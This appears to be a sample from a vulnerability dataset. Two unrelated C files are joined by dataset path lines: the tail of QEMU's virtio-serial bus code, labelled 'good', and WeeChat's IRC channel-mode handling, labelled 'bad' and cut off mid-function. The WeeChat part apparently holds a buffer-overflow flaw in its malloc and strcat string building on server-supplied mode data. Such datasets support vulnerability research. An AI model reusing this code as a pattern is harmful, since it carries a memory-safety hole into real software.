virtqueues * initialised. If some app is interested in knowing about * this event, let it know. */ if (vsc->guest_ready) { vsc->guest_ready(port); } break; case VIRTIO_CONSOLE_PORT_OPEN: port->guest_connected = cpkt.value; if (vsc->set_guest_connected) { /* Send the guest opened notification if an app is interested */ vsc->set_guest_connected(port, cpkt.value); } break; } } static void control_in(VirtIODevice *vdev, VirtQueue *vq) { } static void control_out(VirtIODevice *vdev, VirtQueue *vq) { VirtQueueElement elem; VirtIOSerial *vser; uint8_t *buf; size_t len; vser = VIRTIO_SERIAL(vdev); len = 0; buf = NULL; while (virtqueue_pop(vq, &elem)) { size_t cur_len; cur_len = iov_size(elem.out_sg, elem.out_num); /* * Allocate a new buf only if we didn't have one previously or * if the size of the buf differs */ if (cur_len > len) { g_free(buf); buf = g_malloc(cur_len); len = cur_len; } iov_to_buf(elem.out_sg, elem.out_num, 0, buf, cur_len); handle_control_message(vser, buf, cur_len); virtqueue_push(vq, &elem, 0); } g_free(buf); virtio_notify(vdev, vq); } /* Guest wrote something to some port. */ static void handle_output(VirtIODevice *vdev, VirtQueue *vq) { VirtIOSerial *vser; VirtIOSerialPort *port; vser = VIRTIO_SERIAL(vdev); port = find_port_by_vq(vser, vq); if (!port || !port->host_connected) { discard_vq_data(vq, vdev); return; } if (!port->throttled) { do_flush_queued_data(port, vq, vdev); return; } } static void handle_input(VirtIODevice *vdev, VirtQueue *vq) { /* * Users of virtio-serial would like to know when guest becomes * writable again -- i.e. if a vq had stuff queued up and the * guest wasn't reading at all, the host would not be able to * write to the vq anymore. Once the guest reads off something, * we can start queueing things up again. However, this call is * made for each buffer addition by the guest -- even though free * buffers existed prior to the current buffer addition. This is * done so as not to maintain previous state, which will need * additional live-migration-related changes. */ VirtIOSerial *vser; VirtIOSerialPort *port; VirtIOSerialPortClass *vsc; vser = VIRTIO_SERIAL(vdev); port = find_port_by_vq(vser, vq); if (!port) { return; } vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); /* * If guest_connected is false, this call is being made by the * early-boot queueing up of descriptors, which is just noise for * the host apps -- don't disturb them in that case. */ if (port->guest_connected && port->host_connected && vsc->guest_writable) { vsc->guest_writable(port); } } static uint64_t get_features(VirtIODevice *vdev, uint64_t features) { VirtIOSerial *vser; vser = VIRTIO_SERIAL(vdev); if (vser->bus.max_nr_ports > 1) { virtio_add_feature(&features, VIRTIO_CONSOLE_F_MULTIPORT); } return features; } /* Guest requested config info */ static void get_config(VirtIODevice *vdev, uint8_t *config_data) { VirtIOSerial *vser = VIRTIO_SERIAL(vdev); struct virtio_console_config *config = (struct virtio_console_config *)config_data; config->cols = 0; config->rows = 0; config->max_nr_ports = virtio_tswap32(vdev, vser->serial.max_virtserial_ports); } static void guest_reset(VirtIOSerial *vser) { VirtIOSerialPort *port; VirtIOSerialPortClass *vsc; QTAILQ_FOREACH(port, &vser->ports, next) { vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); if (port->guest_connected) { port->guest_connected = false; if (vsc->set_guest_connected) { vsc->set_guest_connected(port, false); } } } } static void set_status(VirtIODevice *vdev, uint8_t status) { VirtIOSerial *vser; VirtIOSerialPort *port; vser = VIRTIO_SERIAL(vdev); port = find_port_by_id(vser, 0); if (port && !use_multiport(port->vser) && (status & VIRTIO_CONFIG_S_DRIVER_OK)) { /* * Non-multiport guests won't be able to tell us guest * open/close status. Such guests can only have a port at id * 0, so set guest_connected for such ports as soon as guest * is up. */ port->guest_connected = true; } if (!(status & VIRTIO_CONFIG_S_DRIVER_OK)) { guest_reset(vser); } } static void vser_reset(VirtIODevice *vdev) { VirtIOSerial *vser; vser = VIRTIO_SERIAL(vdev); guest_reset(vser); } static void virtio_serial_save(QEMUFile *f, void *opaque) { /* The virtio device */ virtio_save(VIRTIO_DEVICE(opaque), f); } static void virtio_serial_save_device(VirtIODevice *vdev, QEMUFile *f) { VirtIOSerial *s = VIRTIO_SERIAL(vdev); VirtIOSerialPort *port; uint32_t nr_active_ports; unsigned int i, max_nr_ports; struct virtio_console_config config; /* The config space (ignored on the far end in current versions) */ get_config(vdev, (uint8_t *)&config); qemu_put_be16s(f, &config.cols); qemu_put_be16s(f, &config.rows); qemu_put_be32s(f, &config.max_nr_ports); /* The ports map */ max_nr_ports = s->serial.max_virtserial_ports; for (i = 0; i < (max_nr_ports + 31) / 32; i++) { qemu_put_be32s(f, &s->ports_map[i]); } /* Ports */ nr_active_ports = 0; QTAILQ_FOREACH(port, &s->ports, next) { nr_active_ports++; } qemu_put_be32s(f, &nr_active_ports); /* * Items in struct VirtIOSerialPort. */ QTAILQ_FOREACH(port, &s->ports, next) { uint32_t elem_popped; qemu_put_be32s(f, &port->id); qemu_put_byte(f, port->guest_connected); qemu_put_byte(f, port->host_connected); elem_popped = 0; if (port->elem.out_num) { elem_popped = 1; } qemu_put_be32s(f, &elem_popped); if (elem_popped) { qemu_put_be32s(f, &port->iov_idx); qemu_put_be64s(f, &port->iov_offset); qemu_put_buffer(f, (unsigned char *)&port->elem, sizeof(port->elem)); } } } static void virtio_serial_post_load_timer_cb(void *opaque) { uint32_t i; VirtIOSerial *s = VIRTIO_SERIAL(opaque); VirtIOSerialPort *port; uint8_t host_connected; VirtIOSerialPortClass *vsc; if (!s->post_load) { return; } for (i = 0 ; i < s->post_load->nr_active_ports; ++i) { port = s->post_load->connected[i].port; host_connected = s->post_load->connected[i].host_connected; if (host_connected != port->host_connected) { /* * We have to let the guest know of the host connection * status change */ send_control_event(s, port->id, VIRTIO_CONSOLE_PORT_OPEN, port->host_connected); } vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); if (vsc->set_guest_connected) { vsc->set_guest_connected(port, port->guest_connected); } } g_free(s->post_load->connected); timer_free(s->post_load->timer); g_free(s->post_load); s->post_load = NULL; } static int fetch_active_ports_list(QEMUFile *f, int version_id, VirtIOSerial *s, uint32_t nr_active_ports) { uint32_t i; s->post_load = g_malloc0(sizeof(*s->post_load)); s->post_load->nr_active_ports = nr_active_ports; s->post_load->connected = g_malloc0(sizeof(*s->post_load->connected) * nr_active_ports); s->post_load->timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, virtio_serial_post_load_timer_cb, s); /* Items in struct VirtIOSerialPort */ for (i = 0; i < nr_active_ports; i++) { VirtIOSerialPort *port; uint32_t id; id = qemu_get_be32(f); port = find_port_by_id(s, id); if (!port) { return -EINVAL; } port->guest_connected = qemu_get_byte(f); s->post_load->connected[i].port = port; s->post_load->connected[i].host_connected = qemu_get_byte(f); if (version_id > 2) { uint32_t elem_popped; qemu_get_be32s(f, &elem_popped); if (elem_popped) { qemu_get_be32s(f, &port->iov_idx); qemu_get_be64s(f, &port->iov_offset); qemu_get_buffer(f, (unsigned char *)&port->elem, sizeof(port->elem)); virtqueue_map_sg(port->elem.in_sg, port->elem.in_addr, port->elem.in_num, 1); virtqueue_map_sg(port->elem.out_sg, port->elem.out_addr, port->elem.out_num, 1); /* * Port was throttled on source machine. Let's * unthrottle it here so data starts flowing again. */ virtio_serial_throttle_port(port, false); } } } timer_mod(s->post_load->timer, 1); return 0; } static int virtio_serial_load(QEMUFile *f, void *opaque, int version_id) { if (version_id > 3) { return -EINVAL; } /* The virtio device */ return virtio_load(VIRTIO_DEVICE(opaque), f, version_id); } static int virtio_serial_load_device(VirtIODevice *vdev, QEMUFile *f, int version_id) { VirtIOSerial *s = VIRTIO_SERIAL(vdev); uint32_t max_nr_ports, nr_active_ports, ports_map; unsigned int i; int ret; uint32_t tmp; if (version_id < 2) { return 0; } /* Unused */ qemu_get_be16s(f, (uint16_t *) &tmp); qemu_get_be16s(f, (uint16_t *) &tmp); qemu_get_be32s(f, &tmp); max_nr_ports = s->serial.max_virtserial_ports; for (i = 0; i < (max_nr_ports + 31) / 32; i++) { qemu_get_be32s(f, &ports_map); if (ports_map != s->ports_map[i]) { /* * Ports active on source and destination don't * match. Fail migration. */ return -EINVAL; } } qemu_get_be32s(f, &nr_active_ports); if (nr_active_ports) { ret = fetch_active_ports_list(f, version_id, s, nr_active_ports); if (ret) { return ret; } } return 0; } static void virtser_bus_dev_print(Monitor *mon, DeviceState *qdev, int indent); static Property virtser_props[] = { DEFINE_PROP_UINT32("nr", VirtIOSerialPort, id, VIRTIO_CONSOLE_BAD_ID), DEFINE_PROP_STRING("name", VirtIOSerialPort, name), DEFINE_PROP_END_OF_LIST() }; #define TYPE_VIRTIO_SERIAL_BUS "virtio-serial-bus" #define VIRTIO_SERIAL_BUS(obj) \ OBJECT_CHECK(VirtIOSerialBus, (obj), TYPE_VIRTIO_SERIAL_BUS) static void virtser_bus_class_init(ObjectClass *klass, void *data) { BusClass *k = BUS_CLASS(klass); k->print_dev = virtser_bus_dev_print; } static const TypeInfo virtser_bus_info = { .name = TYPE_VIRTIO_SERIAL_BUS, .parent = TYPE_BUS, .instance_size = sizeof(VirtIOSerialBus), .class_init = virtser_bus_class_init, }; static void virtser_bus_dev_print(Monitor *mon, DeviceState *qdev, int indent) { VirtIOSerialPort *port = DO_UPCAST(VirtIOSerialPort, dev, qdev); monitor_printf(mon, "%*sport %d, guest %s, host %s, throttle %s\n", indent, "", port->id, port->guest_connected ? "on" : "off", port->host_connected ? "on" : "off", port->throttled ? "on" : "off"); } /* This function is only used if a port id is not provided by the user */ static uint32_t find_free_port_id(VirtIOSerial *vser) { unsigned int i, max_nr_ports; max_nr_ports = vser->serial.max_virtserial_ports; for (i = 0; i < (max_nr_ports + 31) / 32; i++) { uint32_t map, zeroes; map = vser->ports_map[i]; zeroes = ctz32(~map); if (zeroes != 32) { return zeroes + i * 32; } } return VIRTIO_CONSOLE_BAD_ID; } static void mark_port_added(VirtIOSerial *vser, uint32_t port_id) { unsigned int i; i = port_id / 32; vser->ports_map[i] |= 1U << (port_id % 32); } static void add_port(VirtIOSerial *vser, uint32_t port_id) { mark_port_added(vser, port_id); send_control_event(vser, port_id, VIRTIO_CONSOLE_PORT_ADD, 1); } static void remove_port(VirtIOSerial *vser, uint32_t port_id) { VirtIOSerialPort *port; /* * Don't mark port 0 removed -- we explicitly reserve it for * backward compat with older guests, ensure a virtconsole device * unplug retains the reservation. */ if (port_id) { unsigned int i; i = port_id / 32; vser->ports_map[i] &= ~(1U << (port_id % 32)); } port = find_port_by_id(vser, port_id); /* * This function is only called from qdev's unplug callback; if we * get a NULL port here, we're in trouble. */ assert(port); /* Flush out any unconsumed buffers first */ discard_vq_data(port->ovq, VIRTIO_DEVICE(port->vser)); send_control_event(vser, port->id, VIRTIO_CONSOLE_PORT_REMOVE, 1); } static void virtser_port_device_realize(DeviceState *dev, Error **errp) { VirtIOSerialPort *port = VIRTIO_SERIAL_PORT(dev); VirtIOSerialPortClass *vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); VirtIOSerialBus *bus = VIRTIO_SERIAL_BUS(qdev_get_parent_bus(dev)); int max_nr_ports; bool plugging_port0; Error *err = NULL; port->vser = bus->vser; port->bh = qemu_bh_new(flush_queued_data_bh, port); assert(vsc->have_data); /* * Is the first console port we're seeing? If so, put it up at * location 0. This is done for backward compatibility (old * kernel, new qemu). */ plugging_port0 = vsc->is_console && !find_port_by_id(port->vser, 0); if (find_port_by_id(port->vser, port->id)) { error_setg(errp, "virtio-serial-bus: A port already exists at id %u", port->id); return; } if (port->name != NULL && find_port_by_name(port->name)) { error_setg(errp, "virtio-serial-bus: A port already exists by name %s", port->name); return; } if (port->id == VIRTIO_CONSOLE_BAD_ID) { if (plugging_port0) { port->id = 0; } else { port->id = find_free_port_id(port->vser); if (port->id == VIRTIO_CONSOLE_BAD_ID) { error_setg(errp, "virtio-serial-bus: Maximum port limit for " "this device reached"); return; } } } max_nr_ports = port->vser->serial.max_virtserial_ports; if (port->id >= max_nr_ports) { error_setg(errp, "virtio-serial-bus: Out-of-range port id specified, " "max. allowed: %u", max_nr_ports - 1); return; } vsc->realize(dev, &err); if (err != NULL) { error_propagate(errp, err); return; } port->elem.out_num = 0; } static void virtser_port_device_plug(HotplugHandler *hotplug_dev, DeviceState *dev, Error **errp) { VirtIOSerialPort *port = VIRTIO_SERIAL_PORT(dev); QTAILQ_INSERT_TAIL(&port->vser->ports, port, next); port->ivq = port->vser->ivqs[port->id]; port->ovq = port->vser->ovqs[port->id]; add_port(port->vser, port->id); /* Send an update to the guest about this new port added */ virtio_notify_config(VIRTIO_DEVICE(hotplug_dev)); } static void virtser_port_device_unrealize(DeviceState *dev, Error **errp) { VirtIOSerialPort *port = VIRTIO_SERIAL_PORT(dev); VirtIOSerialPortClass *vsc = VIRTIO_SERIAL_PORT_GET_CLASS(dev); VirtIOSerial *vser = port->vser; qemu_bh_delete(port->bh); remove_port(port->vser, port->id); QTAILQ_REMOVE(&vser->ports, port, next); if (vsc->unrealize) { vsc->unrealize(dev, errp); } } static void virtio_serial_device_realize(DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIOSerial *vser = VIRTIO_SERIAL(dev); uint32_t i, max_supported_ports; if (!vser->serial.max_virtserial_ports) { error_setg(errp, "Maximum number of serial ports not specified"); return; } /* Each port takes 2 queues, and one pair is for the control queue */ max_supported_ports = VIRTIO_QUEUE_MAX / 2 - 1; if (vser->serial.max_virtserial_ports > max_supported_ports) { error_setg(errp, "maximum ports supported: %u", max_supported_ports); return; } /* We don't support emergency write, skip it for now. */ /* TODO: cleaner fix, depending on host features. */ virtio_init(vdev, "virtio-serial", VIRTIO_ID_CONSOLE, offsetof(struct virtio_console_config, emerg_wr)); /* Spawn a new virtio-serial bus on which the ports will ride as devices */ qbus_create_inplace(&vser->bus, sizeof(vser->bus), TYPE_VIRTIO_SERIAL_BUS, dev, vdev->bus_name); qbus_set_hotplug_handler(BUS(&vser->bus), DEVICE(vser), errp); vser->bus.vser = vser; QTAILQ_INIT(&vser->ports); vser->bus.max_nr_ports = vser->serial.max_virtserial_ports; vser->ivqs = g_malloc(vser->serial.max_virtserial_ports * sizeof(VirtQueue *)); vser->ovqs = g_malloc(vser->serial.max_virtserial_ports * sizeof(VirtQueue *)); /* Add a queue for host to guest transfers for port 0 (backward compat) */ vser->ivqs[0] = virtio_add_queue(vdev, 128, handle_input); /* Add a queue for guest to host transfers for port 0 (backward compat) */ vser->ovqs[0] = virtio_add_queue(vdev, 128, handle_output); /* TODO: host to guest notifications can get dropped * if the queue fills up. Implement queueing in host, * this might also make it possible to reduce the control * queue size: as guest preposts buffers there, * this will save 4Kbyte of guest memory per entry. */ /* control queue: host to guest */ vser->c_ivq = virtio_add_queue(vdev, 32, control_in); /* control queue: guest to host */ vser->c_ovq = virtio_add_queue(vdev, 32, control_out); for (i = 1; i < vser->bus.max_nr_ports; i++) { /* Add a per-port queue for host to guest transfers */ vser->ivqs[i] = virtio_add_queue(vdev, 128, handle_input); /* Add a per-per queue for guest to host transfers */ vser->ovqs[i] = virtio_add_queue(vdev, 128, handle_output); } vser->ports_map = g_malloc0(((vser->serial.max_virtserial_ports + 31) / 32) * sizeof(vser->ports_map[0])); /* * Reserve location 0 for a console port for backward compat * (old kernel, new qemu) */ mark_port_added(vser, 0); vser->post_load = NULL; /* * Register for the savevm section with the virtio-console name * to preserve backward compat */ register_savevm(dev, "virtio-console", -1, 3, virtio_serial_save, virtio_serial_load, vser); QLIST_INSERT_HEAD(&vserdevices.devices, vser, next); } static void virtio_serial_port_class_init(ObjectClass *klass, void *data) { DeviceClass *k = DEVICE_CLASS(klass); set_bit(DEVICE_CATEGORY_INPUT, k->categories); k->bus_type = TYPE_VIRTIO_SERIAL_BUS; k->realize = virtser_port_device_realize; k->unrealize = virtser_port_device_unrealize; k->props = virtser_props; } static const TypeInfo virtio_serial_port_type_info = { .name = TYPE_VIRTIO_SERIAL_PORT, .parent = TYPE_DEVICE, .instance_size = sizeof(VirtIOSerialPort), .abstract = true, .class_size = sizeof(VirtIOSerialPortClass), .class_init = virtio_serial_port_class_init, }; static void virtio_serial_device_unrealize(DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIOSerial *vser = VIRTIO_SERIAL(dev); QLIST_REMOVE(vser, next); unregister_savevm(dev, "virtio-console", vser); g_free(vser->ivqs); g_free(vser->ovqs); g_free(vser->ports_map); if (vser->post_load) { g_free(vser->post_load->connected); timer_del(vser->post_load->timer); timer_free(vser->post_load->timer); g_free(vser->post_load); } virtio_cleanup(vdev); } static Property virtio_serial_properties[] = { DEFINE_PROP_UINT32("max_ports", VirtIOSerial, serial.max_virtserial_ports, 31), DEFINE_PROP_END_OF_LIST(), }; static void virtio_serial_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass); HotplugHandlerClass *hc = HOTPLUG_HANDLER_CLASS(klass); QLIST_INIT(&vserdevices.devices); dc->props = virtio_serial_properties; set_bit(DEVICE_CATEGORY_INPUT, dc->categories); vdc->realize = virtio_serial_device_realize; vdc->unrealize = virtio_serial_device_unrealize; vdc->get_features = get_features; vdc->get_config = get_config; vdc->set_status = set_status; vdc->reset = vser_reset; vdc->save = virtio_serial_save_device; vdc->load = virtio_serial_load_device; hc->plug = virtser_port_device_plug; hc->unplug = qdev_simple_device_unplug_cb; } static const TypeInfo virtio_device_info = { .name = TYPE_VIRTIO_SERIAL, .parent = TYPE_VIRTIO_DEVICE, .instance_size = sizeof(VirtIOSerial), .class_init = virtio_serial_class_init, .interfaces = (InterfaceInfo[]) { { TYPE_HOTPLUG_HANDLER }, { } } }; static void virtio_serial_register_types(void) { type_register_static(&virtser_bus_info); type_register_static(&virtio_serial_port_type_info); type_register_static(&virtio_device_info); } type_init(virtio_serial_register_types)
./CrossVul/dataset_final_sorted/CWE-120/c/good_1706_0
crossvul-cpp_data_bad_4681_1
/* * irc-mode.c - IRC channel/user modes management * * Copyright (C) 2003-2020 Sébastien Helleu <flashcode@flashtux.org> * * This file is part of WeeChat, the extensible chat client. * * WeeChat is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * WeeChat is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with WeeChat. If not, see <https://www.gnu.org/licenses/>. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include "../weechat-plugin.h" #include "irc.h" #include "irc-mode.h" #include "irc-config.h" #include "irc-server.h" #include "irc-channel.h" #include "irc-nick.h" #include "irc-modelist.h" /* * Gets mode arguments: skip colons before arguments. */ char * irc_mode_get_arguments (const char *arguments) { char **argv, **argv2, *new_arguments; int argc, i; if (!arguments || !arguments[0]) return strdup (""); argv = weechat_string_split (arguments, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); if (!argv) return strdup (""); argv2 = malloc (sizeof (*argv) * (argc + 1)); if (!argv2) { weechat_string_free_split (argv); return strdup ("");; } for (i = 0; i < argc; i++) { argv2[i] = (argv[i][0] == ':') ? argv[i] + 1 : argv[i]; } argv2[argc] = NULL; new_arguments = weechat_string_build_with_split_string ( (const char **)argv2, " "); weechat_string_free_split (argv); free (argv2); return new_arguments; } /* * Gets type of channel mode, which is a letter from 'A' to 'D': * A = Mode that adds or removes a nick or address to a list. Always has a * parameter. * B = Mode that changes a setting and always has a parameter. * C = Mode that changes a setting and only has a parameter when set. * D = Mode that changes a setting and never has a parameter. * * Example: * CHANMODES=beI,k,l,imnpstaqr ==> A = { b, e, I } * B = { k } * C = { l } * D = { i, m, n, p, s, t, a, q, r } * * Note1: modes of type A return the list when there is no parameter present. * Note2: some clients assumes that any mode not listed is of type D. * Note3: modes in PREFIX are not listed but could be considered type B. * * More info: http://www.irc.org/tech_docs/005.html */ char irc_mode_get_chanmode_type (struct t_irc_server *server, char chanmode) { char chanmode_type, *pos; const char *chanmodes, *ptr_chanmodes; /* * assume it is type 'B' if mode is in prefix * (we first check that because some exotic servers like irc.webchat.org * include the prefix chars in chanmodes as type 'A', which is wrong) */ if (irc_server_get_prefix_mode_index (server, chanmode) >= 0) return 'B'; chanmodes = irc_server_get_chanmodes (server); pos = strchr (chanmodes, chanmode); if (pos) { chanmode_type = 'A'; for (ptr_chanmodes = chanmodes; ptr_chanmodes < pos; ptr_chanmodes++) { if (ptr_chanmodes[0] == ',') { if (chanmode_type == 'D') break; chanmode_type++; } } return chanmode_type; } /* unknown mode, type 'D' by default */ return 'D'; } /* * Updates channel modes using the mode and argument. * * Example: * if channel modes are "+tn" and that we have: * - set_flag = '+' * - chanmode = 'k' * - chanmode_type = 'B' * - argument = 'password' * then channel modes become: * "+tnk password" */ void irc_mode_channel_update (struct t_irc_server *server, struct t_irc_channel *channel, char set_flag, char chanmode, const char *argument) { char *pos_args, *str_modes, **argv, *pos, *ptr_arg; char *new_modes, *new_args, str_mode[2], *str_temp; int argc, current_arg, chanmode_found, length; if (!channel->modes) channel->modes = strdup ("+"); if (!channel->modes) return; argc = 0; argv = NULL; pos_args = strchr (channel->modes, ' '); if (pos_args) { str_modes = weechat_strndup (channel->modes, pos_args - channel->modes); if (!str_modes) return; pos_args++; while (pos_args[0] == ' ') pos_args++; argv = weechat_string_split (pos_args, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); } else { str_modes = strdup (channel->modes); if (!str_modes) return; } new_modes = malloc (strlen (channel->modes) + 1 + 1); new_args = malloc (((pos_args) ? strlen (pos_args) : 0) + ((argument) ? 1 + strlen (argument) : 0) + 1); if (new_modes && new_args) { new_modes[0] = '\0'; new_args[0] = '\0'; /* loop on current modes and build "new_modes" + "new_args" */ current_arg = 0; chanmode_found = 0; pos = str_modes; while (pos && pos[0]) { if ((pos[0] == '+') || (pos[0] == '-')) { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); } else { ptr_arg = NULL; switch (irc_mode_get_chanmode_type (server, pos[0])) { case 'A': /* always argument */ case 'B': /* always argument */ case 'C': /* argument if set */ ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'D': /* no argument */ break; } if (ptr_arg) current_arg++; if (pos[0] == chanmode) { chanmode_found = 1; if (set_flag == '+') { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (argument) { if (new_args[0]) strcat (new_args, " "); strcat (new_args, argument); } } } else { str_mode[0] = pos[0]; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (ptr_arg) { if (new_args[0]) strcat (new_args, " "); strcat (new_args, ptr_arg); } } } pos++; } if (!chanmode_found) { /* * chanmode was not in channel modes: if set_flag is '+', add * it to channel modes */ if (set_flag == '+') { if (argument) { /* add mode with argument at the end of modes */ str_mode[0] = chanmode; str_mode[1] = '\0'; strcat (new_modes, str_mode); if (new_args[0]) strcat (new_args, " "); strcat (new_args, argument); } else { /* add mode without argument at the beginning of modes */ pos = new_modes; while (pos[0] == '+') pos++; memmove (pos + 1, pos, strlen (pos) + 1); pos[0] = chanmode; } } } if (new_args[0]) { length = strlen (new_modes) + 1 + strlen (new_args) + 1; str_temp = malloc (length); if (str_temp) { snprintf (str_temp, length, "%s %s", new_modes, new_args); if (channel->modes) free (channel->modes); channel->modes = str_temp; } } else { if (channel->modes) free (channel->modes); channel->modes = strdup (new_modes); } } if (new_modes) free (new_modes); if (new_args) free (new_args); if (str_modes) free (str_modes); if (argv) weechat_string_free_split (argv); } /* * Checks if a mode is smart filtered (according to option * irc.look.smart_filter_mode and server prefix modes). * * Returns: * 1: the mode is smart filtered * 0: the mode is NOT smart filtered */ int irc_mode_smart_filtered (struct t_irc_server *server, char mode) { const char *ptr_modes; ptr_modes = weechat_config_string (irc_config_look_smart_filter_mode); /* if empty value, there's no smart filtering on mode messages */ if (!ptr_modes || !ptr_modes[0]) return 0; /* if var is "*", ALL modes are smart filtered */ if (strcmp (ptr_modes, "*") == 0) return 1; /* if var is "+", modes from server prefixes are filtered */ if (strcmp (ptr_modes, "+") == 0) return strchr (irc_server_get_prefix_modes (server), mode) ? 1 : 0; /* * if var starts with "-", smart filter all modes except following modes * example: "-kl": smart filter all modes but not k/l */ if (ptr_modes[0] == '-') return (strchr (ptr_modes + 1, mode)) ? 0 : 1; /* * explicit list of modes to smart filter * example: "ovh": smart filter modes o/v/h */ return (strchr (ptr_modes, mode)) ? 1 : 0; } /* * Sets channel modes using CHANMODES (from message 005) and update channel * modes if needed. * * Returns: * 1: the mode message can be "smart filtered" * 0: the mode message must NOT be "smart filtered" */ int irc_mode_channel_set (struct t_irc_server *server, struct t_irc_channel *channel, const char *host, const char *modes, const char *modes_arguments) { const char *pos, *ptr_arg; char set_flag, **argv, chanmode_type; int argc, current_arg, update_channel_modes, channel_modes_updated; int smart_filter, end_modes; struct t_irc_nick *ptr_nick; struct t_irc_modelist *ptr_modelist; struct t_irc_modelist_item *ptr_item; if (!server || !channel || !modes) return 0; channel_modes_updated = 0; argc = 0; argv = NULL; if (modes_arguments) { argv = weechat_string_split (modes_arguments, " ", NULL, WEECHAT_STRING_SPLIT_STRIP_LEFT | WEECHAT_STRING_SPLIT_STRIP_RIGHT | WEECHAT_STRING_SPLIT_COLLAPSE_SEPS, 0, &argc); } current_arg = 0; smart_filter = (weechat_config_boolean (irc_config_look_smart_filter) && weechat_config_string (irc_config_look_smart_filter_mode) && weechat_config_string (irc_config_look_smart_filter_mode)[0]) ? 1 : 0; end_modes = 0; set_flag = '+'; pos = modes; while (pos[0]) { switch (pos[0]) { case ':': break; case ' ': end_modes = 1; break; case '+': set_flag = '+'; break; case '-': set_flag = '-'; break; default: update_channel_modes = 1; chanmode_type = irc_mode_get_chanmode_type (server, pos[0]); ptr_arg = NULL; switch (chanmode_type) { case 'A': /* always argument */ update_channel_modes = 0; ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'B': /* always argument */ ptr_arg = (current_arg < argc) ? argv[current_arg] : NULL; break; case 'C': /* argument if set */ ptr_arg = ((set_flag == '+') && (current_arg < argc)) ? argv[current_arg] : NULL; break; case 'D': /* no argument */ break; } if (ptr_arg) { if (ptr_arg[0] == ':') ptr_arg++; current_arg++; } if (smart_filter && !irc_mode_smart_filtered (server, pos[0])) { smart_filter = 0; } if (pos[0] == 'k') { /* channel key */ if (set_flag == '-') { if (channel->key) { free (channel->key); channel->key = NULL; } } else if ((set_flag == '+') && ptr_arg && (strcmp (ptr_arg, "*") != 0)) { /* replace key for +k, but ignore "*" as new key */ if (channel->key) free (channel->key); channel->key = strdup (ptr_arg); } } else if (pos[0] == 'l') { /* channel limit */ if (set_flag == '-') channel->limit = 0; if ((set_flag == '+') && ptr_arg) { channel->limit = atoi (ptr_arg); } } else if ((chanmode_type != 'A') && (irc_server_get_prefix_mode_index (server, pos[0]) >= 0)) { /* mode for nick */ update_channel_modes = 0; if (ptr_arg) { ptr_nick = irc_nick_search (server, channel, ptr_arg); if (ptr_nick) { irc_nick_set_mode (server, channel, ptr_nick, (set_flag == '+'), pos[0]); /* * disable smart filtering if mode is sent * to me, or based on the nick speaking time */ if (smart_filter && ((irc_server_strcasecmp (server, ptr_nick->name, server->nick) == 0) || irc_channel_nick_speaking_time_search (server, channel, ptr_nick->name, 1))) { smart_filter = 0; } } } } else if (chanmode_type == 'A') { /* modelist modes */ if (ptr_arg) { ptr_modelist = irc_modelist_search (channel, pos[0]); if (ptr_modelist) { if (set_flag == '+') { irc_modelist_item_new (ptr_modelist, ptr_arg, host, time (NULL)); } else if (set_flag == '-') { ptr_item = irc_modelist_item_search_mask ( ptr_modelist, ptr_arg); if (ptr_item) irc_modelist_item_free (ptr_modelist, ptr_item); } } } } if (update_channel_modes) { irc_mode_channel_update (server, channel, set_flag, pos[0], ptr_arg); channel_modes_updated = 1; } break; } if (end_modes) break; pos++; } if (argv) weechat_string_free_split (argv); if (channel_modes_updated) weechat_bar_item_update ("buffer_modes"); return smart_filter; } /* * Adds a user mode. */ void irc_mode_user_add (struct t_irc_server *server, char mode) { char str_mode[2], *nick_modes2; str_mode[0] = mode; str_mode[1] = '\0'; if (server->nick_modes) { if (!strchr (server->nick_modes, mode)) { nick_modes2 = realloc (server->nick_modes, strlen (server->nick_modes) + 1 + 1); if (!nick_modes2) { if (server->nick_modes) { free (server->nick_modes); server->nick_modes = NULL; } return; } server->nick_modes = nick_modes2; strcat (server->nick_modes, str_mode); weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } else { server->nick_modes = malloc (2); strcpy (server->nick_modes, str_mode); weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } /* * Removes a user mode. */ void irc_mode_user_remove (struct t_irc_server *server, char mode) { char *pos, *nick_modes2; int new_size; if (server->nick_modes) { pos = strchr (server->nick_modes, mode); if (pos) { new_size = strlen (server->nick_modes); memmove (pos, pos + 1, strlen (pos + 1) + 1); nick_modes2 = realloc (server->nick_modes, new_size); if (nick_modes2) server->nick_modes = nick_modes2; weechat_bar_item_update ("input_prompt"); weechat_bar_item_update ("irc_nick_modes"); } } } /* * Sets user modes. */ void irc_mode_user_set (struct t_irc_server *server, const char *modes, int reset_modes) { char set_flag; int end; if (reset_modes) { if (server->nick_modes) { free (server->nick_modes); server->nick_modes = NULL; } } set_flag = '+'; end = 0; while (modes && modes[0]) { switch (modes[0]) { case ' ': end = 1; break; case ':': break; case '+': set_flag = '+'; break; case '-': set_flag = '-'; break; default: if (set_flag == 